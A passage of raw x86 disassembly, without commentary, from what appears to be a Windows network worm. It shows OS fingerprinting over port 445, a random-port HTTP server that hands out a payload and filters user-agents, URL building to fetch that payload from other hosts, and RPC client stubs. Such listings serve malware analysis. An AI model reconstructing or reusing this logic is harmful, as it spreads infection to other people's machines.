loc_9AE283: ; CODE XREF: sub_9AE1BE+49j
pop esi
leave
retn
sub_9AE1BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AE286(void *Src, int, int, int)
sub_9AE286 proc near ; CODE XREF: sub_9AE331+4Fp
var_810 = byte ptr -810h
var_611 = byte ptr -611h
var_60C = byte ptr -60Ch
var_408 = byte ptr -408h
var_208 = dword ptr -208h
var_204 = dword ptr -204h
Dst = byte ptr -200h
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 810h
mov eax, [ebp+arg_4]
push esi
push edi
mov esi, 200h
push esi ; Size
mov [ebp+var_204], eax
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call memset
push 204h ; Size
lea eax, [ebp+var_60C]
push 0 ; Val
push eax ; Dst
call memset
push esi ; Size
push [ebp+Src] ; Src
lea eax, [ebp+var_60C]
push eax ; Dst
call memcpy
mov eax, [ebp+arg_C]
and [ebp+var_208], 0
add esp, 24h
xor ecx, ecx
add eax, 1FFh
loc_9AE2E5: ; CODE XREF: sub_9AE286+6Cj
mov dl, [eax]
mov [ebp+ecx+var_408], dl
inc ecx
dec eax
cmp ecx, esi
jl short loc_9AE2E5
lea eax, [ebp+var_60C]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_408]
push eax
lea edi, [ebp+var_810]
call sub_9AE1BE
add esp, 0Ch
xor ecx, ecx
lea eax, [ebp+var_611]
loc_9AE31F: ; CODE XREF: sub_9AE286+A5j
mov dl, [eax]
mov edi, [ebp+arg_8]
mov [ecx+edi], dl
inc ecx
dec eax
cmp ecx, esi
jl short loc_9AE31F
pop edi
pop esi
leave
retn
sub_9AE286 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AE331(void *Src, int, int, int, int)
sub_9AE331 proc near ; CODE XREF: sub_9AD914+2Ap
Buf1 = byte ptr -400h
var_3FF = byte ptr -3FFh
Dst = byte ptr -3FEh
var_240 = byte ptr -240h
Buf2 = byte ptr -200h
var_80 = byte ptr -80h
var_40 = byte ptr -40h
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
push 1FEh ; Size
lea eax, [ebp+Dst]
push 0FFh ; Val
push eax ; Dst
mov [ebp+Buf1], 0
mov [ebp+var_3FF], 1
call memset
lea eax, [ebp+var_240]
push eax ; Dst
push [ebp+arg_10] ; int
push [ebp+arg_C] ; int
call sub_9B5980
push [ebp+arg_8] ; int
lea eax, [ebp+Buf2]
push eax ; int
push [ebp+arg_4] ; int
push [ebp+Src] ; Src
call sub_9AE286
push 180h ; Size
lea eax, [ebp+Buf2]
push eax ; Buf2
lea eax, [ebp+Buf1]
push eax ; Buf1
call memcmp
add esp, 34h
test eax, eax
jnz short loc_9AE3F6
push 40h ; Size
lea eax, [ebp+var_40]
push eax ; Buf2
lea eax, [ebp+var_240]
push eax ; Buf1
call memcmp
add esp, 0Ch
test eax, eax
jnz short loc_9AE3F6
push 40h
lea eax, [ebp+var_80]
push eax
push [ebp+arg_10]
push [ebp+arg_C]
call sub_9AE06F
lea eax, [ebp+var_40]
push eax ; Dst
push [ebp+arg_10] ; int
push [ebp+arg_C] ; int
call sub_9B5980
push 40h ; Size
lea eax, [ebp+var_40]
push eax ; Buf2
lea eax, [ebp+var_80]
push eax ; Buf1
call memcmp
add esp, 28h
neg eax
sbb eax, eax
inc eax
leave
retn
; ---------------------------------------------------------------------------
loc_9AE3F6: ; CODE XREF: sub_9AE331+71j
; sub_9AE331+8Aj
xor al, al
leave
retn
sub_9AE331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AE3FA(int, u_short netshort)
sub_9AE3FA proc near ; CODE XREF: sub_9A9B77+9p
var_3C = dword ptr -3Ch
s = dword ptr -2Ch
var_28 = dword ptr -28h
len = dword ptr -24h
hMem = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
netshort = word ptr 0Ch
push 1Ch
push offset stru_9A4AC8
call __SEH_prolog
or ebx, 0FFFFFFFFh
mov [ebp+var_1C], ebx
mov [ebp+s], ebx
xor edi, edi
mov [ebp+hMem], edi
mov [ebp+ms_exc.disabled], edi
push 6 ; protocol
push 1 ; type
push 2 ; af
call socket
mov esi, eax
mov [ebp+s], esi
cmp esi, 0FFFFFFFFh
jz loc_9AE65D
push 4 ; int
push dword ptr [ebp+netshort] ; netshort
push [ebp+arg_0] ; int
push esi ; fd
call sub_9AB9DA
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_9AE65D
cmp [ebp+netshort], 1BDh
jz short loc_9AE49B
push 7 ; int
push 48h ; int
push offset unk_9A4980 ; int
push esi ; s
call sub_9AB936
add esp, 10h
cmp eax, 48h
jnz loc_9AE65D
push 7 ; int
lea eax, [ebp+len]
push eax ; len
push esi ; s
call sub_9AB869
add esp, 0Ch
mov [ebp+hMem], eax
cmp eax, edi
jz loc_9AE65D
cmp [ebp+len], edi
jz loc_9AE65D
push eax ; hMem
call GlobalFree
mov [ebp+hMem], edi
loc_9AE49B: ; CODE XREF: sub_9AE3FA+57j
push 7
pop edi
push edi ; int
push 33h ; int
push offset dword_9A49CC ; int
push esi ; s
call sub_9AB936
add esp, 10h
cmp eax, 33h
jnz loc_9AE65D
push edi ; int
lea eax, [ebp+len]
push eax ; len
push esi ; s
call sub_9AB869
add esp, 0Ch
mov [ebp+hMem], eax
test eax, eax
jz loc_9AE65D
cmp [ebp+len], 0
jz loc_9AE65D
push eax ; hMem
call GlobalFree
and [ebp+hMem], 0
push edi ; int
push 4Dh ; int
push offset dword_9A4A00 ; int
push esi ; s
call sub_9AB936
add esp, 10h
cmp eax, 4Dh
jnz loc_9AE65D
push edi ; int
lea eax, [ebp+len]
push eax ; len
push esi ; s
call sub_9AB869
add esp, 0Ch
mov [ebp+hMem], eax
test eax, eax
jz loc_9AE65D
mov eax, [ebp+len]
test eax, eax
jz loc_9AE620
loc_9AE524: ; CODE XREF: sub_9AE3FA+13Ej
dec eax
mov [ebp+var_28], eax
mov ecx, [ebp+hMem]
test eax, eax
jz loc_9AE65D
cmp byte ptr [eax+ecx-1], 0
jnz short loc_9AE524
test eax, eax
jz loc_9AE65D
loc_9AE542: ; CODE XREF: sub_9AE3FA+159j
dec eax
mov [ebp+var_28], eax
test eax, eax
jz loc_9AE65D
cmp byte ptr [eax+ecx-1], 0
jnz short loc_9AE542
test eax, eax
jz loc_9AE65D
loc_9AE55D: ; CODE XREF: sub_9AE3FA+174j
dec eax
mov [ebp+var_28], eax
test eax, eax
jz loc_9AE65D
cmp byte ptr [eax+ecx-1], 0
jnz short loc_9AE55D
test eax, eax
jz loc_9AE65D
lea edi, [eax+ecx]
push edi ; SubStr
call _strlwr
mov [esp+3Ch+var_3C], offset aVista ; "vista"
push edi ; Str
mov esi, strstr
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE5C8
push offset aServicePack1 ; "service pack 1"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE5AD
push 9
jmp loc_9AE659
; ---------------------------------------------------------------------------
loc_9AE5AD: ; CODE XREF: sub_9AE3FA+1AAj
push offset aServicePack ; "service pack"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, 2
add ebx, 8
jmp loc_9AE65A
; ---------------------------------------------------------------------------
loc_9AE5C8: ; CODE XREF: sub_9AE3FA+19Cj
push offset aWindowsServer2 ; "windows server 2003"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE612
push offset aServicePack1 ; "service pack 1"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE5E8
push 5
jmp short loc_9AE659
; ---------------------------------------------------------------------------
loc_9AE5E8: ; CODE XREF: sub_9AE3FA+1E8j
push offset aServicePack2 ; "service pack 2"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE5FA
push 6
jmp short loc_9AE659
; ---------------------------------------------------------------------------
loc_9AE5FA: ; CODE XREF: sub_9AE3FA+1FAj
push offset aServicePack ; "service pack"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, 3
add ebx, 4
jmp short loc_9AE65A
; ---------------------------------------------------------------------------
loc_9AE612: ; CODE XREF: sub_9AE3FA+1DAj
push offset aWindows5_1 ; "windows 5.1"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE624
loc_9AE620: ; CODE XREF: sub_9AE3FA+124j
push 3
jmp short loc_9AE659
; ---------------------------------------------------------------------------
loc_9AE624: ; CODE XREF: sub_9AE3FA+224j
push offset aWindows5_0 ; "windows 5.0"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE636
push 2
jmp short loc_9AE659
; ---------------------------------------------------------------------------
loc_9AE636: ; CODE XREF: sub_9AE3FA+236j
push offset aWindows4_0 ; "windows 4.0"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE649
xor ebx, ebx
inc ebx
jmp short loc_9AE65A
; ---------------------------------------------------------------------------
loc_9AE649: ; CODE XREF: sub_9AE3FA+248j
push offset aUnix ; "unix"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE65D
push 0Bh
loc_9AE659: ; CODE XREF: sub_9AE3FA+1AEj
; sub_9AE3FA+1ECj ...
pop ebx
loc_9AE65A: ; CODE XREF: sub_9AE3FA+1C9j
; sub_9AE3FA+216j ...
mov [ebp+var_1C], ebx
loc_9AE65D: ; CODE XREF: sub_9AE3FA+31j
; sub_9AE3FA+4Bj ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
jmp short loc_9AE671
; ---------------------------------------------------------------------------
loc_9AE663: ; DATA XREF: .text:stru_9A4AC8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AE667: ; DATA XREF: .text:stru_9A4AC8o
mov esp, [ebp+ms_exc.old_esp]
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_9AE671: ; CODE XREF: sub_9AE3FA+267j
cmp [ebp+hMem], 0
jz short loc_9AE680
push [ebp+hMem] ; hMem
call GlobalFree
loc_9AE680: ; CODE XREF: sub_9AE3FA+27Bj
cmp [ebp+s], 0FFFFFFFFh
jz short loc_9AE69A
push 1 ; how
push [ebp+s] ; s
call shutdown
push [ebp+s] ; s
call closesocket
loc_9AE69A: ; CODE XREF: sub_9AE3FA+28Aj
mov eax, ebx
call __SEH_epilog
retn
sub_9AE3FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9AE6A2(LPVOID)
sub_9AE6A2 proc near ; DATA XREF: sub_9AEAF7+116o
Buf2 = byte ptr -29Ch
var_9D = byte ptr -9Dh
Str = byte ptr -9Ch
var_5D = byte ptr -5Dh
name = sockaddr ptr -5Ch
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
netlong = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
hMem = dword ptr -2Ch
var_28 = dword ptr -28h
len = dword ptr -24h
s = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 28Ch
push offset stru_9A4B98
call __SEH_prolog
mov eax, [ebp+arg_0]
mov [ebp+var_44], eax
mov esi, [eax]
mov [ebp+s], esi
mov eax, [eax+4]
mov [ebp+netlong], eax
xor ebx, ebx
mov [ebp+var_38], ebx
mov [ebp+hMem], ebx
mov [ebp+var_1C], ebx
mov [ebp+len], 10h
call sub_9AB510
mov [ebp+ms_exc.disabled], ebx
lea eax, [ebp+len]
push eax ; namelen
lea eax, [ebp+name]
push eax ; name
push esi ; s
call getsockname
cmp eax, 0FFFFFFFFh
jz short loc_9AE6F6
mov eax, dword ptr [ebp+name.sa_data+2]
mov [ebp+var_38], eax
loc_9AE6F6: ; CODE XREF: sub_9AE6A2+4Cj
push 7 ; int
lea eax, [ebp+len]
push eax ; len
push esi ; s
call sub_9AB869
add esp, 0Ch
mov edi, eax
mov [ebp+hMem], edi
cmp edi, ebx
jz loc_9AE9D8
push offset dword_9BA28C
mov esi, offset aGetSHttp ; "get /%s http/"
push esi ; Format
push 200h ; Count
lea eax, [ebp+Buf2]
push eax ; Dest
mov ebx, _snprintf
call ebx ; _snprintf
mov [ebp+var_9D], 0
push offset dword_9BA298
push esi ; Format
push 40h ; Count
lea eax, [ebp+Str]
push eax ; Dest
call ebx ; _snprintf
add esp, 20h
mov [ebp+var_5D], 0
mov eax, [ebp+len]
test eax, eax
jz short loc_9AE764
mov byte ptr [eax+edi-1], 0
push edi ; Str
call _strlwr
pop ecx
loc_9AE764: ; CODE XREF: sub_9AE6A2+B3j
lea eax, [ebp+Buf2]
push eax ; Str
call strlen
pop ecx
cmp [ebp+len], eax
jle short loc_9AE7A0
lea eax, [ebp+Buf2]
push eax ; Str
call strlen
push eax ; Size
lea eax, [ebp+Buf2]
push eax ; Buf2
push edi ; Buf1
call memcmp
add esp, 10h
test eax, eax
jnz short loc_9AE7A0
mov [ebp+var_1C], 1
jmp short loc_9AE7DA
; ---------------------------------------------------------------------------
loc_9AE7A0: ; CODE XREF: sub_9AE6A2+D2j
; sub_9AE6A2+F3j
lea eax, [ebp+Str]
push eax ; Str
call strlen
pop ecx
cmp [ebp+len], eax
jle short loc_9AE7DA
lea eax, [ebp+Str]
push eax ; Str
call strlen
push eax ; Size
lea eax, [ebp+Str]
push eax ; Buf2
push edi ; Buf1
call memcmp
add esp, 10h
test eax, eax
jnz short loc_9AE7DA
mov [ebp+var_1C], 2
loc_9AE7DA: ; CODE XREF: sub_9AE6A2+FCj
; sub_9AE6A2+10Ej ...
cmp [ebp+var_1C], 0
jz loc_9AE9D8
xor esi, esi
inc esi
mov [ebp+var_28], esi
push [ebp+netlong] ; netlong
call sub_9A8DB4
pop ecx
test eax, eax
jnz loc_9AE88E
cmp [ebp+var_1C], esi
jnz loc_9AE88A
push offset asc_9A4B80 ; "\r\n\r"
push edi ; Str
mov esi, strstr
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE88A
push offset aUserAgent ; "\r\nuser-agent:"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
mov edi, eax
mov [ebp+var_48], edi
test edi, edi
jz short loc_9AE88E
push offset asc_9A4228 ; "\r\n"
lea eax, [edi+2]
push eax ; Str
call esi ; strstr
pop ecx
pop ecx
mov [ebp+var_4C], eax
test eax, eax
jz short loc_9AE88E
mov byte ptr [eax], 0
push offset aWindowsNt5_ ; "windows nt 5."
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_9AE88E
push offset aWget ; "wget"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jnz short loc_9AE88E
push offset aLwp ; "lwp::"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jnz short loc_9AE88E
push offset aLinux ; "linux"
push edi ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jnz short loc_9AE88E
push offset aMacintosh ; "macintosh"
push [ebp+hMem] ; Str
call esi ; strstr
pop ecx
pop ecx
test eax, eax
jnz short loc_9AE88E
loc_9AE88A: ; CODE XREF: sub_9AE6A2+15Cj
; sub_9AE6A2+174j
and [ebp+var_28], 0
loc_9AE88E: ; CODE XREF: sub_9AE6A2+153j
; sub_9AE6A2+187j ...
xor eax, eax
cmp [ebp+var_28], eax
jnz short loc_9AE8A9
mov ecx, ds:lpBuffer
mov [ebp+var_3C], ecx
mov esi, ds:nNumberOfBytesToWrite
mov [ebp+var_34], esi
jmp short loc_9AE8AC
; ---------------------------------------------------------------------------
loc_9AE8A9: ; CODE XREF: sub_9AE6A2+1F1j
mov esi, [ebp+var_34]
loc_9AE8AC: ; CODE XREF: sub_9AE6A2+205j
cmp [ebp+var_28], eax
jz short loc_9AE8CF
mov [ebp+var_1C], 4
mov [ebp+var_3C], eax
call rand
mov esi, eax
add esi, 64h
imul esi, 3E8h
mov [ebp+var_34], esi
loc_9AE8CF: ; CODE XREF: sub_9AE6A2+20Dj
mov edi, rand
call edi ; rand
and eax, 3
push ds:off_9B9D98[eax*4]
push esi
push offset aHttp1_0200OkPr ; "HTTP/1.0 200 OK\r\nPragma: no-cache\r\nCont"...
push 200h ; Count
lea eax, [ebp+Buf2]
push eax ; Dest
call ebx ; _snprintf
add esp, 14h
mov [ebp+var_9D], 0
and [ebp+var_30], 0
push 7 ; int
lea eax, [ebp+Buf2]
push eax ; Str
call strlen
pop ecx
push eax ; int
lea eax, [ebp+Buf2]
push eax ; int
push [ebp+s] ; s
call sub_9AB936
mov ebx, eax
lea eax, [ebp+Buf2]
push eax ; Str
call strlen
add esp, 14h
cmp eax, ebx
jnz short loc_9AE99F
cmp [ebp+var_1C], 4
jz short loc_9AE95B
push 7 ; int
push esi ; int
push [ebp+var_3C] ; int
push [ebp+s] ; s
call sub_9AB936
add esp, 10h
cmp esi, eax
jnz short loc_9AE99F
mov [ebp+var_30], 1
jmp short loc_9AE99F
; ---------------------------------------------------------------------------
loc_9AE95B: ; CODE XREF: sub_9AE6A2+299j
mov esi, 1FFh
loc_9AE960: ; CODE XREF: sub_9AE6A2+2FBj
push esi
lea eax, [ebp+Buf2]
push eax
call sub_9AB647
pop ecx
pop ecx
call edi ; rand
cdq
mov ecx, 1388h
idiv ecx
add edx, 6A4h
push edx ; dwMilliseconds
call Sleep
push 7 ; int
push esi ; int
lea eax, [ebp+Buf2]
push eax ; int
push [ebp+s] ; s
call sub_9AB936
add esp, 10h
cmp eax, esi
jz short loc_9AE960
loc_9AE99F: ; CODE XREF: sub_9AE6A2+293j
; sub_9AE6A2+2AEj ...
cmp [ebp+var_30], 0
jz short loc_9AE9D8
cmp [ebp+var_1C], 1
jnz short loc_9AE9D8
push offset dword_9B9F38 ; lpAddend
call InterlockedIncrement
push ds:dword_9B9F38 ; Data
call sub_9A81C3
push [ebp+var_38]
push [ebp+netlong]
call sub_9AC911
add esp, 0Ch
jmp short loc_9AE9D8
; ---------------------------------------------------------------------------
loc_9AE9D1: ; DATA XREF: .text:stru_9A4B98o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AE9D5: ; DATA XREF: .text:stru_9A4B98o
mov esp, [ebp+ms_exc.old_esp]
loc_9AE9D8: ; CODE XREF: sub_9AE6A2+6Aj
; sub_9AE6A2+13Cj ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
cmp [ebp+hMem], 0
jz short loc_9AE9EB
push [ebp+hMem] ; hMem
call GlobalFree
loc_9AE9EB: ; CODE XREF: sub_9AE6A2+33Ej
push 1 ; how
push [ebp+s] ; s
call shutdown
push [ebp+s] ; s
call closesocket
push [ebp+var_44] ; hMem
call GlobalFree
xor eax, eax
call __SEH_epilog
retn 4
sub_9AE6A2 endp
; =============== S U B R O U T I N E =======================================
sub_9AEA12 proc near ; CODE XREF: sub_9AEAF7+62p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 18h
push ebx
push ebp
push edi
xor edi, edi
push 10h ; Size
lea eax, [esp+28h+Dst]
push edi ; Val
push eax ; Dst
mov [esp+30h+var_14], edi
call memset
mov [esp+30h+Dst], 2
mov [esp+30h+var_C], edi
call sub_9AB343
push eax ; Seed
call srand
mov ebx, Sleep
add esp, 10h
mov [esp+24h+var_18], edi
mov ebp, 1388h
loc_9AEA54: ; CODE XREF: sub_9AEA12+C0j
call rand
cdq
mov ecx, 2310h
idiv ecx
mov edi, edx
add edi, 400h
push edi
call sub_9A8FED
test eax, eax
pop ecx
jnz short loc_9AEA8C
cmp ds:dword_9BA2A8, eax
jnz short loc_9AEA8F
call sub_9A8CAF
mov ds:dword_9BA2A8, 1
loc_9AEA8C: ; CODE XREF: sub_9AEA12+61j
push ebp ; dwMilliseconds
call ebx ; Sleep
loc_9AEA8F: ; CODE XREF: sub_9AEA12+69j
push 6 ; protocol
push 1 ; type
push 2 ; af
call socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_9AEADE
push edi ; netshort
call ntohs
mov [esp+24h+var_E], ax
push 10h ; namelen
lea eax, [esp+28h+Dst]
push eax ; name
push dword ptr [esi] ; s
call bind
test eax, eax
jz short loc_9AEAD6
push dword ptr [esi] ; s
call closesocket
inc [esp+24h+var_18]
cmp [esp+24h+var_18], 0Ah
jl short loc_9AEA54
jmp short loc_9AEADE
; ---------------------------------------------------------------------------
loc_9AEAD6: ; CODE XREF: sub_9AEA12+ADj
mov [esp+24h+var_14], 1
loc_9AEADE: ; CODE XREF: sub_9AEA12+8Ej
; sub_9AEA12+C2j
call sub_9AB510
mov eax, [esp+24h+var_14]
movzx ecx, di
neg eax
pop edi
sbb eax, eax
pop ebp
and eax, ecx
pop ebx
add esp, 18h
retn
sub_9AEA12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9AEAF7(LPVOID)
sub_9AEAF7 proc near ; DATA XREF: sub_9AEC54+18o
readfds = fd_set ptr -220h
exceptfds = fd_set ptr -11Ch
addr = sockaddr ptr -18h
ThreadId = dword ptr -8
addrlen = dword ptr -4
push ebp
mov ebp, esp
sub esp, 220h
push ebx
call sub_9AB510
xor ebx, ebx
cmp ds:lpBuffer, ebx
jz loc_9AEC4C
cmp ds:nNumberOfBytesToWrite, ebx
jz loc_9AEC4C
push esi
mov esi, rand
call esi ; rand
push 5
pop ecx
cdq
idiv ecx
add edx, 4
push edx
push offset dword_9BA28C
call sub_9AB647
call esi ; rand
push 5
pop ecx
cdq
idiv ecx
add edx, 4
push edx
push offset dword_9BA298
call sub_9AB647
add esp, 10h
lea esi, [ebp+addrlen]
call sub_9AEA12
mov esi, eax
cmp si, bx
jz loc_9AEC3A
push edi
mov edi, [ebp+addrlen]
push 32h ; backlog
push edi ; s
call listen
test eax, eax
jnz loc_9AEC32
movzx eax, si
push eax ; Value
push offset dword_9BA2A4 ; Target
mov [ebp+addrlen], 10h
call InterlockedExchange
loc_9AEB94: ; CODE XREF: sub_9AEAF7+F8j
; sub_9AEAF7+12Aj ...
xor eax, eax
inc eax
push ebx ; timeout
mov [ebp+readfds.fd_count], eax
mov [ebp+exceptfds.fd_count], eax
lea eax, [ebp+exceptfds]
push eax ; exceptfds
push ebx ; writefds
lea eax, [ebp+readfds]
push eax ; readfds
push ebx ; nfds
mov [ebp+readfds.fd_array], edi
mov [ebp+exceptfds.fd_array], edi
call select
test eax, eax
jle short loc_9AEC32
lea eax, [ebp+exceptfds]
push eax ; fd_set *
push edi ; fd
call __WSAFDIsSet
test eax, eax
jnz short loc_9AEC32
lea eax, [ebp+addrlen]
push eax ; addrlen
lea eax, [ebp+addr]
push eax ; addr
push edi ; s
call accept
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_9AEB94
push 8 ; dwBytes
push 40h ; uFlags
call GlobalAlloc
cmp eax, ebx
jz short loc_9AEC26
mov [eax], esi
mov ecx, dword ptr [ebp+addr.sa_data+2]
mov [eax+4], ecx
lea ecx, [ebp+ThreadId]
push ecx ; lpThreadId
push ebx ; dwCreationFlags
push eax ; lpParameter
push offset sub_9AE6A2 ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call CreateThread
push eax ; hObject
call CloseHandle
jmp loc_9AEB94
; ---------------------------------------------------------------------------
loc_9AEC26: ; CODE XREF: sub_9AEAF7+106j
push esi ; s
call closesocket
jmp loc_9AEB94
; ---------------------------------------------------------------------------
loc_9AEC32: ; CODE XREF: sub_9AEAF7+81j
; sub_9AEAF7+D1j ...
push edi ; s
call closesocket
pop edi
loc_9AEC3A: ; CODE XREF: sub_9AEAF7+6Cj
push ebx ; Value
push offset dword_9BA2A4 ; Target
call InterlockedExchange
push 2
pop eax
pop esi
jmp short loc_9AEC4F
; ---------------------------------------------------------------------------
loc_9AEC4C: ; CODE XREF: sub_9AEAF7+17j
; sub_9AEAF7+23j
xor eax, eax
inc eax
loc_9AEC4F: ; CODE XREF: sub_9AEAF7+153j
pop ebx
leave
retn 4
sub_9AEAF7 endp
; =============== S U B R O U T I N E =======================================
sub_9AEC54 proc near ; CODE XREF: StartAddress+1BCp
ThreadId = dword ptr -4
push ecx
push esi
push edi
xor edi, edi
push edi ; Value
push offset dword_9BA2A4 ; Target
call InterlockedExchange
lea eax, [esp+0Ch+ThreadId]
push eax ; lpThreadId
push edi ; dwCreationFlags
push edi ; lpParameter
push offset sub_9AEAF7 ; lpStartAddress
push edi ; dwStackSize
push edi ; lpThreadAttributes
call CreateThread
push eax ; hObject
call CloseHandle
xor esi, esi
loc_9AEC82: ; CODE XREF: sub_9AEC54+45j
cmp ds:dword_9BA2A4, edi
jnz short loc_9AEC9B
push 1F4h ; dwMilliseconds
call Sleep
inc esi
cmp esi, 64h
jl short loc_9AEC82
loc_9AEC9B: ; CODE XREF: sub_9AEC54+34j
mov eax, ds:dword_9BA2A4
pop edi
pop esi
pop ecx
retn
sub_9AEC54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AECA4 proc near ; CODE XREF: sub_9ACABE+19Ep
; sub_9ACABE+2A4p
szUrl = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
mov eax, ds:dword_9BA2A4
push edi
xor edi, edi
cmp word ptr [ebp+arg_4], di
jnz short loc_9AECC0
cmp ax, di
jz short loc_9AED33
loc_9AECC0: ; CODE XREF: sub_9AECA4+15j
push esi
push offset dword_9BA298
push eax
mov eax, [ebp+arg_0]
mov ecx, eax
shr ecx, 18h
push ecx
movzx ecx, byte ptr [ebp+arg_0+2]
push ecx
movzx ecx, ah
push ecx
and eax, 0FFh
push eax
push offset aHttpD_D_D_DDS ; "http://%d.%d.%d.%d:%d/%s"
lea eax, [ebp+szUrl]
push 80h ; Count
push eax ; Dest
call _snprintf
push edi ; int
lea eax, [ebp+arg_4]
push eax ; int
lea eax, [ebp+szUrl]
push eax ; lpszUrl
call sub_9ABAC6
mov esi, eax
add esp, 30h
cmp esi, edi
jz short loc_9AED32
mov eax, ds:nNumberOfBytesToWrite
cmp [ebp+arg_4], eax
jb short loc_9AED2B
push eax ; Size
push ds:lpBuffer ; Buf2
push esi ; Buf1
call memcmp
add esp, 0Ch
test eax, eax
jnz short loc_9AED2B
xor edi, edi
inc edi
loc_9AED2B: ; CODE XREF: sub_9AECA4+6Ej
; sub_9AECA4+82j
push esi ; hMem
call GlobalFree
loc_9AED32: ; CODE XREF: sub_9AECA4+64j
pop esi
loc_9AED33: ; CODE XREF: sub_9AECA4+1Aj
mov eax, edi
pop edi
leave
retn
sub_9AECA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AED38 proc near ; CODE XREF: sub_9A983B+82p
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+arg_0]
push eax
push offset pFormat ; pFormat
push offset pStubDescriptor ; pStubDescriptor
call NdrClientCall2
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
leave
retn
sub_9AED38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AED5A proc near ; CODE XREF: sub_9A97A7+5Ap
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+arg_0]
push eax
push offset byte_9A52DC ; pFormat
push offset pStubDescriptor ; pStubDescriptor
call NdrClientCall2
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
leave
retn
sub_9AED5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AED7C proc near ; CODE XREF: sub_9AEFDD+1Ep
tstrFilename = byte ptr -134h
var_133 = byte ptr -133h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
dwHandle = dword ptr -28h
lpBuffer = dword ptr -24h
puLen = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 124h
push offset stru_9A6A40
call __SEH_prolog
mov [ebp+var_1C], 9
xor ebx, ebx
mov [ebp+ms_exc.disabled], ebx
mov [ebp+tstrFilename], bl
push 40h
pop ecx
xor eax, eax
lea edi, [ebp+var_133]
rep stosd
stosw
stosb
push 104h ; nSize
lea eax, [ebp+tstrFilename]
push eax ; lpFilename
push offset aNtdll_dll ; "ntdll.dll"
call GetModuleHandleA
push eax ; hModule
call GetModuleFileNameA
lea eax, [ebp+dwHandle]
push eax ; lpdwHandle
lea eax, [ebp+tstrFilename]
push eax ; lptstrFilename
call GetFileVersionInfoSizeA
mov esi, eax
mov [ebp+var_30], esi
cmp esi, ebx
jz short loc_9AEE52
push esi ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, ebx
jz short loc_9AEE52
push edi ; lpData
push esi ; dwLen
push ebx ; dwHandle
lea eax, [ebp+tstrFilename]
push eax ; lptstrFilename
call GetFileVersionInfoA
test eax, eax
